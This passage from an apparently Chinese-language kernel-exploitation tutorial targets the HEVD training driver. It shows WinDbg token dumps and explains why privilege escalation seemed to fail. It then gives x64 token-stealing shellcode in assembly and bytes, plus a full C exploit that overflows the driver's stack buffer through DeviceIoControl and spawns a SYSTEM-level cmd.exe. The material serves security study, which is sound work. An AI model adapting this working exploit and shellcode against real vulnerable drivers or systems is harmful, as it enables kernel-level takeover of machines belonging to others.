   +0x088 DynamicAvailable : 0
   +0x08c DefaultOwnerIndex : 1
   +0x090 UserAndGroups    : 0x8d40149c _SID_AND_ATTRIBUTES
   +0x094 RestrictedSids   : (null) 
   +0x098 PrimaryGroup     : 0x8d401258 Void
   +0x09c DynamicPart      : 0x8d401258  -> 0x101
   +0x0a0 DefaultDacl      : 0x8d401264 _ACL
   +0x0a4 TokenType        : 1 ( TokenPrimary )
   +0x0a8 ImpersonationLevel : 0 ( SecurityAnonymous )
   +0x0ac TokenFlags       : 0x2000
   +0x0b0 TokenInUse       : 0 ''
   +0x0b4 IntegrityLevelIndex : 4
   +0x0b8 MandatoryPolicy  : 1
   +0x0bc LogonSession     : 0x8d401648 _SEP_LOGON_SESSION_REFERENCES
   +0x0c0 OriginatingLogonSession : _LUID
   +0x0c8 SidHash          : _SID_AND_ATTRIBUTES_HASH
   +0x150 RestrictedSidHash : _SID_AND_ATTRIBUTES_HASH
   +0x1d8 pSecurityAttributes : 0x8d401570 _AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION
   +0x1dc VariablePart     : 0x8d4014c4

查看一下cmd进程及其token信息

kd> dt _EPROCESS 99bfc158 ; cmd.exe process
ntdll!_EPROCESS
   ...
   +0x0f4 ObjectTable      : 0x83205a70 _HANDLE_TABLE
   +0x0f8 Token            : _EX_FAST_REF
   +0x0fc WorkingSetPage   : 0x3549e
   ...
   +0x2bc TimerResolutionStackRecord : (null) 

kd> dt _EX_FAST_REF 99bfc158+f8
ntdll!_EX_FAST_REF
   +0x000 Object           : 0xa83f1535 Void
   +0x000 RefCnt           : 0y101
   +0x000 Value            : 0xa83f1535

kd> dt _TOKEN 0xa83f1530
nt!_TOKEN
   +0x000 TokenSource      : _TOKEN_SOURCE
   +0x010 TokenId          : _LUID
   +0x018 AuthenticationId : _LUID
   +0x020 ParentTokenId    : _LUID
   +0x028 ExpirationTime   : _LARGE_INTEGER 0x7fffffff`ffffffff
   +0x030 TokenLock        : 0x99bfef60 _ERESOURCE
   +0x034 ModifiedId       : _LUID
   +0x040 Privileges       : _SEP_TOKEN_PRIVILEGES
   +0x058 AuditPolicy      : _SEP_AUDIT_POLICY
   +0x074 SessionId        : 1
   +0x078 UserAndGroupCount : 0xd
   +0x07c RestrictedSidCount : 0
   +0x080 VariableLength   : 0x198
   +0x084 DynamicCharged   : 0x400
   +0x088 DynamicAvailable : 0
   +0x08c DefaultOwnerIndex : 0
   +0x090 UserAndGroups    : 0xa83f170c _SID_AND_ATTRIBUTES
   +0x094 RestrictedSids   : (null) 
   +0x098 PrimaryGroup     : 0x9cf3c318 Void
   +0x09c DynamicPart      : 0x9cf3c318  -> 0x501
   +0x0a0 DefaultDacl      : 0x9cf3c334 _ACL
   +0x0a4 TokenType        : 1 ( TokenPrimary )
   +0x0a8 ImpersonationLevel : 0 ( SecurityAnonymous )
   +0x0ac TokenFlags       : 0x2a00
   +0x0b0 TokenInUse       : 0x1 ''
   +0x0b4 IntegrityLevelIndex : 0xc
   +0x0b8 MandatoryPolicy  : 3
   +0x0bc LogonSession     : 0x9f3b14c0 _SEP_LOGON_SESSION_REFERENCES
   +0x0c0 OriginatingLogonSession : _LUID
   +0x0c8 SidHash          : _SID_AND_ATTRIBUTES_HASH
   +0x150 RestrictedSidHash : _SID_AND_ATTRIBUTES_HASH
   +0x1d8 pSecurityAttributes : 0x9aac6f50 _AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION
   +0x1dc VariablePart     : 0xa83f1774

可以发现,我并没有成功替换cmdtoken,但是汇编代码明明完成了token替换,为啥没有成功呢,难道真的是shellcode的问题吗?

这次下一个断点,一步一步调试shellcode

image-20200922215752330

调试到这里,正常我们已经成功替换了token,按照上面的步骤再看一下cmdtoken情况,可以发现依然没有提权成功。没有提权成功的原因是因为我们忽视了一个隐含进程BufferOverflowStack.exe,来看一下这个进程的信息

kd> dt _EPROCESS 886e7030 ; BufferOverflowStack.exe process
ntdll!_EPROCESS
   ...
   +0x0f4 ObjectTable      : 0xa936fba0 _HANDLE_TABLE
   +0x0f8 Token            : _EX_FAST_REF
   +0x0fc WorkingSetPage   : 0x340f7
   ...
   +0x2bc TimerResolutionStackRecord : (null) 

kd> dt _EX_FAST_REF 886e7030+f8
ntdll!_EX_FAST_REF
   +0x000 Object           : 0x8d4012c5 Void
   +0x000 RefCnt           : 0y101
   +0x000 Value            : 0x8d4012c5

kd> dt _TOKEN 0x8d4012c0
nt!_TOKEN
   +0x000 TokenSource      : _TOKEN_SOURCE
   +0x010 TokenId          : _LUID
   +0x018 AuthenticationId : _LUID
   +0x020 ParentTokenId    : _LUID
   +0x028 ExpirationTime   : _LARGE_INTEGER 0x06207526`b64ceb90
   +0x030 TokenLock        : 0x86946490 _ERESOURCE
   +0x034 ModifiedId       : _LUID
   +0x040 Privileges       : _SEP_TOKEN_PRIVILEGES
   +0x058 AuditPolicy      : _SEP_AUDIT_POLICY
   +0x074 SessionId        : 0
   +0x078 UserAndGroupCount : 5
   +0x07c RestrictedSidCount : 0
   +0x080 VariableLength   : 0x70
   +0x084 DynamicCharged   : 0x400
   +0x088 DynamicAvailable : 0
   +0x08c DefaultOwnerIndex : 1
   +0x090 UserAndGroups    : 0x8d40149c _SID_AND_ATTRIBUTES
   +0x094 RestrictedSids   : (null) 
   +0x098 PrimaryGroup     : 0x8d401258 Void
   +0x09c DynamicPart      : 0x8d401258  -> 0x101
   +0x0a0 DefaultDacl      : 0x8d401264 _ACL
   +0x0a4 TokenType        : 1 ( TokenPrimary )
   +0x0a8 ImpersonationLevel : 0 ( SecurityAnonymous )
   +0x0ac TokenFlags       : 0x2000
   +0x0b0 TokenInUse       : 0x1 ''
   +0x0b4 IntegrityLevelIndex : 4
   +0x0b8 MandatoryPolicy  : 1
   +0x0bc LogonSession     : 0x8d401648 _SEP_LOGON_SESSION_REFERENCES
   +0x0c0 OriginatingLogonSession : _LUID
   +0x0c8 SidHash          : _SID_AND_ATTRIBUTES_HASH
   +0x150 RestrictedSidHash : _SID_AND_ATTRIBUTES_HASH
   +0x1d8 pSecurityAttributes : 0x8d401570 _AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION
   +0x1dc VariablePart     : 0x8d4014c4

  kd> !token 0x8d4012c0
_TOKEN 0xffffffff8d4012c0
TS Session ID: 0
User: S-1-5-18
User Groups: 
 00 S-1-5-32-544
    Attributes - Default Enabled Owner 
 01 S-1-1-0
    Attributes - Mandatory Default Enabled 
 02 S-1-5-11
    Attributes - Mandatory Default Enabled 
 03 S-1-16-16384
    Attributes - GroupIntegrity GroupIntegrityEnabled 
Primary Group: S-1-5-18
Privs: 
 02 0x000000002 SeCreateTokenPrivilege            Attributes - 
 03 0x000000003 SeAssignPrimaryTokenPrivilege     Attributes - 
 04 0x000000004 SeLockMemoryPrivilege             Attributes - Enabled Default 
 05 0x000000005 SeIncreaseQuotaPrivilege          Attributes - 
 07 0x000000007 SeTcbPrivilege                    Attributes - Enabled Default 
 08 0x000000008 SeSecurityPrivilege               Attributes - 
 09 0x000000009 SeTakeOwnershipPrivilege          Attributes - 
 10 0x00000000a SeLoadDriverPrivilege             Attributes - 
 11 0x00000000b SeSystemProfilePrivilege          Attributes - Enabled Default 
 12 0x00000000c SeSystemtimePrivilege             Attributes - 
 13 0x00000000d SeProfileSingleProcessPrivilege   Attributes - Enabled Default 
 14 0x00000000e SeIncreaseBasePriorityPrivilege   Attributes - Enabled Default 
 15 0x00000000f SeCreatePagefilePrivilege         Attributes - Enabled Default 
 16 0x000000010 SeCreatePermanentPrivilege        Attributes - Enabled Default 
 17 0x000000011 SeBackupPrivilege                 Attributes - 
 18 0x000000012 SeRestorePrivilege                Attributes - 
 19 0x000000013 SeShutdownPrivilege               Attributes - 
 20 0x000000014 SeDebugPrivilege                  Attributes - Enabled Default 
 21 0x000000015 SeAuditPrivilege                  Attributes - Enabled Default 
 22 0x000000016 SeSystemEnvironmentPrivilege      Attributes - 
 23 0x000000017 SeChangeNotifyPrivilege           Attributes - Enabled Default 
 25 0x000000019 SeUndockPrivilege                 Attributes - 
 28 0x00000001c SeManageVolumePrivilege           Attributes - 
 29 0x00000001d SeImpersonatePrivilege            Attributes - Enabled Default 
 30 0x00000001e SeCreateGlobalPrivilege           Attributes - Enabled Default 
 31 0x00000001f SeTrustedCredManAccessPrivilege   Attributes - 
 32 0x000000020 SeRelabelPrivilege                Attributes - 
 33 0x000000021 SeIncreaseWorkingSetPrivilege     Attributes - Enabled Default 
 34 0x000000022 SeTimeZonePrivilege               Attributes - Enabled Default 
 35 0x000000023 SeCreateSymbolicLinkPrivilege     Attributes - Enabled Default 
Authentication ID:         (0,3e7)
Impersonation Level:       Anonymous
TokenType:                 Primary
Source: *SYSTEM*           TokenFlags: 0x2000 ( Token in use )
Token ID: 3ea              ParentToken ID: 0
Modified ID:               (0, 3eb)
RestrictedSidCount: 0      RestrictedSids: 0x0000000000000000
OriginatingLogonSession: 0

对比一下system的token,可以发现,成功替换了。

至此,终于可以解释为什么cmd.exe没有提权成功了,因为我们提权的是BufferOverflowStack.exe进程,老的cmd.exe不是BufferOverflowStack.exe启动,所以它不继承BufferOverflowStack.exesystem权限,只有BufferOverflowStack.exe拉起来的进程才具有真正的system权限。如果你的新cmd.exe不是BufferOverflowStack.exe拉起来的,那必然也就会产生我上面的困扰,而且特别不容易发现其中的原因

 

x64

在栈溢出上,64位和32位差别不大,首先通过poc确定栈溢出的长度,之后利用适用于64位的exp即可

添加注释版本shellcode


; Start of Token Stealing Stub
xor rax, rax                         ; get ZERO
mov rax, QWORD PTR gs:[rax + 0x188]  ; get nt!_KPCR.PcrbData.CurrentThread
                                        ; _KTHREAD is located at GS : [0x188]

mov rax, [rax + 0x70]                ; get nt!_KTHREAD.ApcState.Process
mov rcx, rax                        ; Copy current process _EPROCESS structure
mov rdx,  4                         ; WIN 7 SP1 SYSTEM process PID = 0x4

SearchSystemPID:
mov rax, [rax + 0x188]               ; Get nt!_EPROCESS.ActiveProcessLinks.Flink
sub rax, 0x188
cmp [rax + 0x180], rdx               ; Get nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID

mov rdx, [rax + 208h]               ; Get SYSTEM process nt!_EPROCESS.Token
mov [rcx + 208h], rdx               ; Replace target process nt!_EPROCESS.Token
                                    ; with SYSTEM process nt!_EPROCESS.Token

去除注释版本,方便转化

xor rax, rax
mov rax, QWORD PTR gs:[rax + 0x188]
mov rax, [rax + 0x70]
mov rcx, rax 
mov rdx, 4
SearchSystemPID:
mov rax, [rax + 0x188]
sub rax, 0x188
cmp [rax + 0x180], rdx
jne SearchSystemPID
mov rdx, [rax + 0x208]
mov [rcx + 0x208], rdx
add rsp, 0x28
ret

最终exp的源码

#define _CRT_SECURE_NO_WARNINGS

#include <iostream>
#include <Windows.h>


#define handle_error(msg, error_code) \
    do  \
    {                             \
        printf("%s with error code: %d\n", msg, error_code); \
    } while (0);

void poc_x64()
{
    do {
        HANDLE hDevice;
        // 2-bit unsigned integer. This is a flag field that indicates various access modes 
        // to use for creating and opening the file. 
        // This value SHOULD be set to 0xC0000000, meaning generic read and generic write
        hDevice = CreateFileA(
            /* LPCSTR lpFileName */ "\\\\.\\HackSysExtremeVulnerableDriver",
            /* DWORD dwDesiredAccess */ 0xC0000000,
            /* DWORD dwShareMode */ FILE_SHARE_READ | FILE_SHARE_WRITE,
            /* LPSECURITY_ATTRIBUTES lpSecurityAttributes */ NULL,
            /* DWORD dwCreationDisposition */ OPEN_EXISTING,
            /* DWORD dwFlagsAndAttributes */ 0,
            /* HANDLE hTemplateFile */ NULL);
        if (hDevice == INVALID_HANDLE_VALUE)
        {
            handle_error("Open device failed!\n", GetLastError());
            break;
        }
        DWORD dwReturnedBytes = 0;
        UCHAR szInBuffer[] = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2C";
        if (!DeviceIoControl(hDevice, 0x222003, szInBuffer, sizeof(szInBuffer), NULL, 0, &dwReturnedBytes, NULL))
        {
            handle_error("DeviceIoControl failed!\n", GetLastError());
            break;
        }
        else
        {
            printf("DeviceIoControl successfully.\n");
        }
    } while (0);
}


void exp_x64()
{
    do {
        HANDLE hDevice;
        hDevice = CreateFileA(
            /* LPCSTR lpFileName */ "\\\\.\\HackSysExtremeVulnerableDriver",
            /* DWORD dwDesiredAccess */ 0xC0000000,
            /* DWORD dwShareMode */ FILE_SHARE_READ | FILE_SHARE_WRITE,
            /* LPSECURITY_ATTRIBUTES lpSecurityAttributes */ NULL,
            /* DWORD dwCreationDisposition */ OPEN_EXISTING,
            /* DWORD dwFlagsAndAttributes */ 0,
            /* HANDLE hTemplateFile */ NULL);
        if (hDevice == INVALID_HANDLE_VALUE)
        {
            handle_error("Open device failed!\n", GetLastError());
            break;
        }
        UCHAR ulShellcode[] = { 0x48, 0x31, 0xC0, 0x65, 0x48, 0x8B, 0x80, 0x88, 0x01, 
                                0x00, 0x00, 0x48, 0x8B, 0x40, 0x70, 0x48, 0x89, 0xC1, 
                                0x48, 0xC7, 0xC2, 0x04, 0x00, 0x00, 0x00, 0x48, 0x8B, 
                                0x80, 0x88, 0x01, 0x00, 0x00, 0x48, 0x2D, 0x88, 0x01, 
                                0x00, 0x00, 0x48, 0x39, 0x90, 0x80, 0x01, 0x00, 0x00, 
                                0x75, 0xEA, 0x48, 0x8B, 0x90, 0x08, 0x02, 0x00, 0x00, 
                                0x48, 0x89, 0x91, 0x08, 0x02, 0x00, 0x00, 0x48, 0x83, 
                                0xC4, 0x28, 0xC3 };
        PVOID pEopPayload = VirtualAlloc(NULL, sizeof(ulShellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
        if (pEopPayload == NULL)
        {
            handle_error("VirtualAlloc", GetLastError());
            break;
        }
        RtlCopyMemory(pEopPayload, ulShellcode, sizeof(ulShellcode));

        DWORD dwInBufferSize = 2072 + 8;
        UCHAR* pInBuffer = (UCHAR*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwInBufferSize * sizeof(UCHAR));
        if (pInBuffer == NULL)
        {
            handle_error("HeapAlloc", GetLastError());
            break;
        }
        RtlFillMemory(pInBuffer, 2072, 0x41); // x64 
        PVOID pShellcode = &pEopPayload;
        PVOID *ppShellcode = &pEopPayload;
        RtlCopyMemory(pInBuffer + 2072, ppShellcode, 8);
        DWORD dwReturnedBytes = 0;
        if (!DeviceIoControl(hDevice, 0x222003, (LPVOID)pInBuffer, dwInBufferSize, NULL, 0, &dwReturnedBytes, NULL))
        {
            handle_error("DeviceIoControl failed!\n", GetLastError());
            break;
        }
        else
        {
            printf("DeviceIoControl successfully.\n");
            system("cmd.exe");
        }
        if (pInBuffer != NULL)
            HeapFree(GetProcessHeap(), 0, pInBuffer);
        if (pEopPayload != NULL)
            VirtualFree(pEopPayload, sizeof(ulShellcode), MEM_RELEASE);
    } while (0);
}

int main()
{
    exp_x64();
    return 0;
}

需要注意的就是shellcode中各个结构体在x64位中的位置变化,如果不对的话,就需要不断一步一步调试shellcode,看到底那一行汇编出问题了。这个过程只是比较繁琐,并不难。

 

结论

内核调试的难点在于繁琐,可能机器需要不停的重启,重启之后需要重新设置环境,启动服务,重新设置断点。需要比调试ring3程序更耐心。如果觉得环境被破坏了,重启即可。

这部分exp 的编写主要的难点在于shellcode,在实验过程中,建议不要直接使用hevd提供的利用代码,可以尝试自己写,最多可以用一个shellcode,这样的话收获要比直接用要多很多。

 

参考链接

Windows Kernel Exploitation Tutorial Part 2: Stack Overflow

HEVD Exploits – Windows 7 x86-64 Stack Overflow

Online x86 / x64 Assembler and Disassembler

(完)